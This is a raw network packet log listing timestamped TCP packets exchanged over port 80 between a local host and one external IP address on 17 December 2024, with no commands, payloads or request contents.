Dec 17, 2024 22:06:27.180746078 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.180794954 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.181365967 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.181438923 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.181480885 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.182269096 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.182321072 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.182365894 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.182571888 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.183125973 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.183222055 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.183268070 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.183881044 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.183955908 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.183985949 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.184072971 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.184730053 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.184779882 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.184839010 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.185336113 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.185590029 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.185604095 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.185643911 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.186503887 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.186577082 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.186623096 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.187378883 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.187427998 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.187555075 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.188258886 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.188312054 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.188314915 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.188944101 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.188994884 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.189125061 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.189168930 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.189841986 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.189996958 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.190043926 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.190680027 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.190738916 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.190845013 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.191519022 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.191565990 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.191616058 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.192352057 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.192397118 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.192466021 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.192507029 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.193192959 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.193304062 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.193350077 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.194029093 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.194164038 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.194210052 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.194883108 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.194992065 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.195058107 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.195724010 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.195828915 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.195873022 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.196585894 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.196634054 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.196697950 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.197082043 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.197431087 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.197475910 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.197560072 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.197601080 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.198263884 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.198304892 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.198365927 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.198407888 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.199120045 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.199182034 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.199242115 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.199287891 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.200002909 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.200054884 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.200139046 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.200181961 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.200788021 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.200835943 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.200907946 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.200952053 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.201659918 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.201735973 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.201783895 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.202447891 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.202574015 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.202622890 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.203588963 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.203643084 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.203650951 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.203680992 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.204155922 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.204202890 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.204267025 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.204951048 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.205020905 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.205121994 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.205135107 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.205173969 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.205842018 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.205887079 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.205992937 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.206033945 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.206687927 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.206731081 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.206856012 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.206895113 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.207504034 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.207546949 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.207614899 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.207658052 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.208353043 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.208395004 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.208502054 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.208543062 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.209275007 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.209408045 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.209450960 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.210035086 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.210194111 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.210238934 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.210899115 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.210942030 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.210995913 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.211735010 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.211783886 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.211843967 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.212595940 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.212640047 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.212699890 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.212738037 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.213439941 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.213572979 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.213617086 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.214252949 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.214365959 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.214406967 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.215114117 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.215158939 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.215289116 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.215989113 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.216033936 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.216124058 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.216854095 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.216922045 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.217008114 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.217070103 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.217664957 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.217773914 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.217816114 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.218480110 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.218617916 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.218663931 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.219362974 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.219405890 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.219474077 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.220195055 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.220242023 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.220268965 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.220942020 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.221003056 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.221055984 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.221100092 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.369546890 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.369632006 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.369746923 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.369960070 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.370031118 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.370083094 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.370533943 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.370703936 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.370738983 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.371413946 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.371499062 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.371527910 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.372230053 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.372359991 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.372395992 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.373085022 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.373126030 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.373156071 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.373956919 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.373991013 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.374038935 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.374073029 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.374787092 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.374968052 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.375003099 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.375602007 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.375792980 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.375827074 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.376439095 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.376681089 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.376714945 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.377274036 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.377417088 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.377465010 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.378154993 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.378303051 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.378353119 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.378976107 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.379122972 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.379170895 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.379818916 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.379914045 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.379959106 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.380686045 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.380812883 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.380857944 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.381479025 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.381561995 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.381602049 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.382375956 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.382527113 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.382572889 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.383385897 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.383508921 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.383547068 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.384063959 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.384200096 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.384244919 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.384862900 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.384963989 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.385005951 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.385792971 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.385921001 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.385972023 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.386584997 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.386624098 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.386703968 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.386939049 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.387417078 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.387484074 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.387523890 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.388262033 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.388586044 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.388629913 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.389079094 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.389238119 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.389280081 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.389940023 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.390063047 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.390103102 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.390777111 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.390818119 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.390969038 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.391616106 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.391638994 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.391669989 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.391694069 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.392441034 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.392573118 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.392613888 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.393313885 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.393424988 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.393467903 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.394134998 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.394247055 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.394283056 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.395020962 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.395061016 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.395100117 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.395853043 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.395896912 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.396064043 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.396727085 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.396759033 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.396770954 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.396794081 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.397567987 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.397681952 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.397725105 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.398377895 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.398507118 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.398550987 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.399214029 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.399391890 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.399442911 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.400079966 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.400176048 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.400207043 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.400227070 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.400933981 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.401062965 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.401139021 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.401748896 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.401875973 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.401922941 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.402587891 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.402632952 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.402637005 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.403433084 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.403476954 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.403532982 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.404328108 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.404361010 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.404378891 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.404401064 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.405184031 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.405215979 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.405262947 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.405987024 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.406105042 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.406153917 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.406836033 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.406886101 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.406891108 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.407717943 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.407763958 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.407879114 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.408513069 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.408556938 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.408600092 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.408643007 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.409339905 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.409579039 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.409630060 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.410190105 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.410310984 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.410362959 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.411032915 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.411184072 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.411231041 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.411900043 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.411947012 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.412014961 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.412758112 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.412817001 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.412880898 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.413513899 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.413573027 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.561918020 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.561974049 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.561989069 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.562032938 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.562275887 CET	80	49793	31.41.244.11	192.168.2.4
